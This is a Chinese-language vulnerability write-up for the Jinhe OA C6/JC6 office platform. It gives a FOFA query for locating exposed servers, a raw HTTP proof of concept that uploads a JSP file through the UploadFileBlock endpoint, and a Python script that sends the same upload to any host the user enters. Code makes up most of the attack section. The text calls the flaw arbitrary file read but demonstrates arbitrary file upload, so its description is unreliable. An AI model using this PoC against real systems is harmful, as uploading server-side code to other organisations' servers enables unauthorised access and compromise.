声明
本文仅用于技术交流，请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任
1. 产品简介
金和数字化智能办公平台（简称JC6）是一款结合了人工智能技术的数字化办公平台，为企业带来了智能化的办公体验和全面的数字化转型支持。同时符合国家信创认证标准，支持组织数字化转型，实现业务流程的数字化、智能化和协同化，提高企业竞争力。
2.漏洞描述
金和OA协同办公管理系统C6软件（简称金和OA），该系统UploadFileBlock接口存在任意文件读漏洞。
http://xxxxxxxxxx/jc6/JHSoft.WCF/Attachment/UploadFileBlock
3.fofa查询语句
app="金和网络-金和OA"||body="/jc6/platform/sys/login"
4. 漏洞复现
默认页面如图
POC
POST /jc6/JHSoft.WCF/Attachment/UploadFileBlock HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Accept-Language: zh-CN,zh;q=0.8
Content-Length: 184
Content-Type: multipart/form-data; boundary=bbcea0206207b8222ea7bdee4e0f92fa
--bbcea0206207b8222ea7bdee4e0f92fa
Content-Disposition: form-data; name="filename"; filename="tteesstt.jsp"
<% out.println("tteesstt"); %>
--bbcea0206207b8222ea7bdee4e0f92fa--
上传的文件路径：http://xxxxxxxx/jc6/upload/tteesstt.jsp
5.python检测脚本
import requests
def verify(ip):
url = f'{ip}/jc6/JHSoft.WCF/Attachment/UploadFileBlock'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
'Accept-Encoding': 'gzip, deflate',
'Accept':' */*',
'Connection': 'close',
'Accept-Charset': 'GBK,utf-8;q=0.7,*;q=0.3',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Content-Length': '184',
'Content-Type': 'multipart/form-data; boundary=bbcea0206207b8222ea7bdee4e0f92fa'
}
payload = '''
--bbcea0206207b8222ea7bdee4e0f92fa
Content-Disposition: form-data; name="filename"; filename="tteesstt.jsp"
<% out.println("tteesstt22"); %>
--bbcea0206207b8222ea7bdee4e0f92fa--
'''
try:
response = requests.post(url, headers=headers, data=payload,verify=False)
# 验证成功输出相关信息
if response.status_code == 200 :
print(f"{ip}存在金和OA UploadFileBlock接口任意文件上传漏洞！！！")
except Exception as e:
pass
if __name__ == '__main__':
self = input('请输入目标主机IP地址：')
verify(self)
